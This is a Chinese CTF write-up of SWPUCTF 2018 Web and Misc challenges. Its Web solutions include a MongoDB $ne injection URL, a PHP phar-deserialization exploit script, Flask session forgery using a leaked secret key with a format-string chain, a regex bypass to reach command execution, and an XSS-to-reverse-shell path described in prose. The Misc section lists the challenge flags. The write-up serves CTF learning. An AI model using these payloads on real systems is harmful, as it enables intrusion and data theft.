专栏首页ChaMd5安全团队SWPUCTF 2018 WriteUp(上)

SWPUCTF 2018 WriteUp(上)

Web

用优惠码 买个 X ?

解题思路 先走了正常流程走了一下注册,登陆,输入邀请码,提交后被返回“不是有效的24位优惠码”,先尝试了一边base32加密,提交后返回“想骗我不是有效的优惠码”,抓包尝试修改cookie伪造优惠码等均失败。扫描目录发现存在源码泄露,如下:

发现是个php伪随机数

下一步就是要想办法获得优惠码对应的种子从而生产24位的优惠码,通过对返回包报文分析可以知道是一个PHP/7.2.9版本的php的linux,结合开源的种子爆破程序php_mt_seed的参数格式和获得的优惠码逆出对应的随机数序列。 在这里的时候先尝试了整个15位的爆破,很遗憾结果都是Found 0。在各种尝试更换环境无果之后,截取优惠码前七位生产随机数序列再进行爆破。

成功爆出种子,版本7.1.0+,用该种子在ubuntu16.04+php7.1+的环境下进行重新播种,长度改成24位重新生产优惠码,提交后成功过掉优惠码这一关,进入命令执行,使用%0a过掉第一层正则,之后使用tac命令代替cat,flag进行base64加密反解,成功绕过执行拿到flag

Injection ???

PHPINFO信息解读+Mongodb注入 通过目录测试发现存在info.php,内含phpinfo信息,其中可发现网站使用MongoDB数据库

在登陆页面进行抓包发现其登陆采用GET方式传值,处理在check.php页面,故从此处进行构造注入,通过MongoDB的逻辑操作$ne与$regex构造username和password进行盲注测试,发现判断成功返回Nice!But it is not the real passwd判断失败则返回username or password incorrect。最终当语句为判断结束,密码为skmun。

判断结束去掉regex逻辑操作符,最终payload:check.php?username[$ne]=test&password=skmun&vertify=gzkm即可获得Flag。

SimplePHP

解题思路 exp:

<?php
class Test
{
public $file;
public $params=array('source'=>'/var/www/html/f1ag.php');
}
class Show
{
public $source;
public $str;
}
class C1e4r{
public $test;
public $str;
}
$a = new Test();
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
$phar = new Phar("Shadow.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
copy('exp.phar','exp.gif');
?>

皇家线上赌场

解题思路 /source查看目录结构 /static?file=任意文件读取 proc/self/mounts中发现/home/ctf/web_assli3fasdf路径,但是读不了 /proc/self/cwd/app/views.py 通过当前进程工作目录可读 init.py:

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

views.py

def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

思路很明确,通过key伪造session,下面格式化字符串漏洞 伪造session:(具体参照flask的session实现) from itsdangerous import * s=URLSafeTimedSerializer(key, salt="cookie-session",signer_kwargs={"key_derivation":"hmac","digest_method":"sha1"}) o=s.loads(data) 改内容 s.dumps(o) 伪造好后,field参数处写构造的格式化字符串漏洞的继承链,exp如下(膜vk) field=class__._base_.query_class.get_or_404.__globals[current_app].jinja_env.globals[g].flag

有趣的邮箱注册

解题思路 http://118.89.56.208:6324/index.php

看到审核就知道是xss了,先过check,然后百度过check的方法

然后插入xsspayload: 发现 后台有个 /admin/a0a.php?cmd=whoami的页面,一看是个命令执行,直接反弹shell

查看 与flag用户相关的进程:

一个 tar 让我们感觉到异常,之前还发现了一个4f0xxxxxxxxxxx的目录

通过百度那串tar 字符串和 这里的z.tar.gz 大概就知道是命令执行了。 https://www.freebuf.com/articles/system/176255.html 这个命令执行感觉跟 orange那个差不多是一个意思。 通过这里上传文件 http://118.89.56.208:6324/4f0a5ead5aef34138fcbf8cf00029e7b/ 弹回flag的shell读取flag。

Misc

签到题

解题思路 用winhex打开可以在文件尾看到一半,

再将高度改到800就可以看到另一半flag。

flag: flag{b2b85ec7ec8cc4771b8d055aee5f82b0}

流量分析签到

解题思路 用notepd++打开看到flag。

flag:SWPUCTF{Th1s_i3_e4sy_pc@p}

唯有低头,才能出头

解题思路 低头,看键盘。。。 99代表字母键上面那排数字的9的往下面数2个位置的字母就是明文。。。。依次类推,一个数字的就是往下面数一个。

最后flag:swpuctf{lookatthekeyboard}

本文分享自微信公众号 - ChaMd5安全团队(chamd5sec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-12-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 双剑合璧-Linux下密码抓取神器

    双剑合璧-Linux下密码抓取神器mimipenguin发布 From ChaMd5安全团队核心成员 zusheng 只要借用一下电脑,便可轻松拿到密码…...

    ChaMd5安全团队
  • DedeCMS的两个小trick

    0x00 前言 昨天晚上做了一个神奇的梦,梦到了我高中时候晚自习在偷偷的看《黑客攻防技术宝典》,当年的事情无论是苦是乐,回忆起来总是感觉非常的美好。但是,现实就...

    ChaMd5安全团队
  • 第二届强网杯 web方向部分writeup

    Web签到 题目信息: Flag: QWB{s1gns1gns1gnaftermd5} 提示: http://39.107.33.96:10000 查看源码发现...

    ChaMd5安全团队
  • 大规模排行榜系统实践及挑战

    在过去的一年中,排行榜系统从无到有,接入的业务从单一的QQ会员到企鹅电竞动漫等20几个各类业务,接入的排行榜数实现了从几个到数万的突破,单个排行榜用户数最大90...

    小时光
  • TF.Learn 手写文字识别

    minist问题 计算机视觉领域的Hello world 给定55000个图片,处理成28*28的二维矩阵,矩阵中每个值表示一个像素点的灰度,作为feature...

    用户1332428
  • 教你在真实图像数据上应用线性滤波器

    卷积神经网络通常从训练数据中学习有用的特征。第一个卷积层学习到的特征往往是视任务而定的一些训练数据的基本元素。例如,在图像数据中,学习到的特征可以体现边缘和斑点...

    AI研习社
  • linux系统下将php和mysql命令加入到环境变量中的方法

    在Linux CentOS系统上安装完php和MySQL后,为了使用方便,需要将php和mysql命令加到系统命令中,如果在没有添加到环境变量之前,执行 “p...

    lilugirl
  • vue --- axios发post请求后台接收不到参数的三种解决方案

    最近用vue 做项目使用axios 发送post 请求时遇到了前端传数据后端接收不到的情况:

    小蔚
  • 抓住九月的尾巴分享一个插件XLSX

    .vue文件中: 1. 引用table插件/自己写table布局 <el-table id="my-table"></el-table> 2. 引入依赖

    xing.org1^
  • Flask中使用cookie和sessi

    用户2398817

扫码关注云+社区

领取腾讯云代金券